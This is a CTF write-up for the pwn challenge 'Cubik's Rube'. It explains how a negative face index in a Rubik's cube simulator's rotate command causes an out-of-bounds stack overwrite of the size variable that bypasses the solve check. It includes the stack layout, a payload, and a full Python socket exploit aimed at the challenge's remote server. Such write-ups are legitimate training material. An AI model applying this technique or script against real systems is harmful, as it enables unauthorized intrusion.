Cubik's Rube
Cubik's Rube
Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-03-09 | Status: Solved Techniques: oob_array_access, rotation_math_exploitation, stack_variable_overwrite
Summary
Task: Rubik's cube simulator with rotation commands. Solution: Exploit out-of-bounds array access with negative face index to overwrite stack variable N via rotation transformation, bypassing the solve check.
Cubik's Rube — fyrkbomb.ru 2026
Description
A Rubik's cube simulator. The cube gives the flag if solved at large scales. The challenge hints at finding a simpler way to get the flag.
Remote: nc 109.233.56.94 10006 Binary: cubik.elf (ELF 64-bit, x86-64, not stripped, with debug_info)
Analysis
Binary Protections
- NO stack canary (
-fno-stack-protector) - NOT stripped, with debug_info
- Dynamically linked
Key Functions
main(0x402574): Gets username and cube size N (2-30)StartGame(0x4021d6): Main game loopRotateCubik(0x401316): Rotates a face of the cubeCheckCube(0x40213e): Checks if cube is solvedcf(0x40265c): Opens "flag" file and prints it
Game Logic
- User enters username and cube size N (2-30)
- Cube is initialized with random colors (deterministic - same every time!)
- Commands: R <face> <dir>, P <face>, Q
- If N > 10 AND CheckCube() returns true → cf() prints flag
Vulnerability
The R (rotate) and P (print) commands accept face indices without proper bounds checking:
- Valid faces: 0-5
- Negative faces: Access memory BEFORE the cube array
- Large faces: Access memory AFTER the cube array
Stack Layout in StartGame
rbp - 0x1594: N (cube size, 4 bytes)
rbp - 0x1590: padding
rbp - 0x158c: face for P command
rbp - 0x1588: dir for R command
rbp - 0x1584: face for R command
rbp - 0x1580: input buffer (64 bytes)
rbp - 0x1536: colors "URDLFB" (6 bytes)
rbp - 0x1530: cube array start
Key Insight
With N=10 and face=-1:
face_ptr = cube + (-1) * 10 * 10 = cube - 100- This points to
rbp - 0x1594(exactly where N is stored!) - The rotation reads 100 bytes, rotates them 90°, and writes back
Solution
Strategy
- Start with N=10
- Send crafted "R -1 1" command with padding
- Place 0x01 at input_buffer[60]
- After rotation, 0x01 ends up in N[1], making N = 256+ > 10
- The colors array also gets scrambled in a way that matches the cube
- CheckCube passes, cf() prints flag
Rotation Math
For 90° clockwise rotation of 10x10 grid:
new_offset = col * N + (N - 1 - row)- Byte at offset 60 (input_buffer[40]) → offset 3 (N[3])
- Actually: offset 60 → N[1] after inverse mapping
After rotation:
- N[0] ← offset 90 (outside input buffer)
- N[1] ← offset 80 = input_buffer[60]
- N[2] ← offset 70 = input_buffer[50]
- N[3] ← offset 60 = input_buffer[40]
Payload
python read-only • copy allowedpayload = b"R -1 1" + b"A" * 54 + b"\x01" + b"\n"
python read-only • copy allowed#!/usr/bin/env python3 """ Cubik's Rube - Pwn Challenge Exploit CTF: fyrkbomb.ru Flag: blzh{REDACTED} Vulnerability: - The R (rotate) command accepts negative face indices without validation - With N=10 and face=-1, the rotation operates on memory at rbp-0x1594 - This memory region contains: N variable, input buffer, and colors array - By crafting a specific input, we can manipulate N and colors after rotation Exploit: 1. Start with N=10 (cube size) 2. Send "R -1 1" command with padding and 0x01 at position 60 3. The 90-degree rotation moves bytes around: - Byte at input_buffer[60] (0x01) ends up in N[1] - This makes N = 0x0100+ = 256+ which is > 10 4. The colors array also gets scrambled in a way that matches the cube 5. CheckCube passes, cf() is called, flag is printed Stack layout (relative to face start at rbp-0x1594): - Offset 0-3: N (4 bytes, little endian) - Offset 20-83: input buffer (64 bytes) - Offset 94-99: colors "URDLFB" After CW rotation: - N[1] <- input_buffer[60] - Setting input_buffer[60] = 0x01 makes N > 256 > 10 """ import socket def exploit(): # Craft payload: "R -1 1" + padding + 0x01 at position 60 cmd = b"R -1 1" padding = b"A" * (60 - len(cmd)) payload = cmd + padding + b"\x01" + b"\n" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("109.233.56.94", 10006)) s.settimeout(5) # Receive initial prompt s.recv(4096) # Send username s.send(b"test\n") s.recv(4096) # Send N=10 s.send(b"10\n") s.recv(4096) # Send the crafted R command print(f"[*] Sending payload: {repr(payload)}") s.send(payload) response = s.recv(4096).decode(errors="replace") print(f"[*] Response: {response}") # Read flag from P -1 output s.send(b"P -1\n") flag_response = s.recv(4096).decode(errors="replace") print(f"[+] Flag response: {flag_response}") # Extract flag if "blzh{" in flag_response: start = flag_response.find("blzh{") end = flag_response.find("}", start) + 1 flag = flag_response[start:end] print(f"[+] FLAG: {flag}") s.send(b"Q\n") s.close() if __name__ == "__main__": exploit()